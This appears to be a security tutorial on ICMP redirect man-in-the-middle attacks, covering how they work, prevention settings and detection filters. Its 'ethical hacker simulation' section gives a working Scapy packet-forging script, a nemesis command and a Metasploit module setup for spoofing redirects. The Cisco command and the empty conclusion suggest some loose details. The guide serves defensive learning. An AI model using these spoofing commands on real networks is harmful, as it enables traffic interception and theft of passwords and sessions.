ICMP Redirection Attack: Guide to Preventing Man-in-the-Middle Attacks

ICMP Redirection Attack: Guide to Preventing Man-in-the-Middle Attacks

An ICMP Redirect Attack is a network-based attack where an attacker sends fraudulent ICMP Redirect messages to manipulate a victim’s routing table, forcing traffic through a malicious gateway. This can lead to Man-in-the-Middle (MitM) attacks, traffic interception, or network disruption.


1. How the Attack Works

ICMP Redirect (Normal Operation)

Malicious ICMP Redirect Attack

  1. Attacker Sends Fake ICMP Redirects
    • The attacker (on the same subnet) sends spoofed ICMP Redirect messages to the victim.
    • The message claims that traffic should be sent via the attacker’s IP instead of the legitimate gateway.
  2. Victim Updates Routing Table
    • The victim’s system accepts the malicious redirect and modifies its routing cache.
  3. Traffic Hijacking
    • All traffic (or specific destinations) is rerouted through the attacker’s machine, enabling:
      • Man-in-the-Middle (MitM) attacks (e.g., SSL stripping, session hijacking).
      • Network sniffing (capturing passwords, sensitive data).
      • Denial-of-Service (DoS) by dropping or modifying packets.

2. Ethical Hacker Simulation in Penetration Testing

Ethical hackers test systems for ICMP Redirect vulnerabilities to assess network security.

Tools & Commands for Simulation

A. Manual ICMP Redirect with Scapy (Python)

Python
from scapy.all import *
# Attacker's IP: 192.168.1.100  
# Victim's IP: 192.168.1.50  
# Legitimate Gateway: 192.168.1.1  
# Target Host to Redirect: 8.8.8.8  

packet = IP(src="192.168.1.1", dst="192.168.1.50") / ICMP(type=5, code=1, gw="192.168.1.100") / IP(src="192.168.1.50", dst="8.8.8.8") / UDP()  
send(packet, verbose=1)  

B. Using Kali Linux Tools

Bash
nemesis icmp -S 192.168.1.1 -D 192.168.1.50 -r -g 192.168.1.100

C. Metasploit Module (Deprecated but Possible)

Bash
msfconsole  
use auxiliary/spoof/icmp/icmp_redirect  
set INTERFACE eth0  
set NEW_GW 192.168.1.100  
set OLD_GW 192.168.1.1  
set VICTIM 192.168.1.50  
run  

3. Prevention & Mitigation Strategies

A. Disabling ICMP Redirects (Best Defense)

Linux

Bash
sysctl -w net.ipv4.conf.all.accept_redirects=0  
sysctl -w net.ipv4.conf.eth0.accept_redirects=0  # Specific interface  
Plaintext
net.ipv4.conf.all.accept_redirects=0  
net.ipv6.conf.all.accept_redirects=0  

Windows

PowerShell
# Disable ICMP Redirects via Registry  
reg add "HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters" /v EnableICMPRedirect /t REG_DWORD /d 0 /f  

Cisco Routers

Bash
no ip icmp redirect  

B. Network Segmentation & Firewall Rules

Bash
iptables -A INPUT -p icmp --icmp-type redirect -j DROP  

C. Host Hardening

Bash
sysctl -w net.ipv4.ip_forward=0  

4. Detection & Monitoring Tools

Bash
icmp.type == 5  # ICMP Redirects  
Bash
tcpdump -i eth0 'icmp[0] == 5'  

Conclusion

Exit mobile version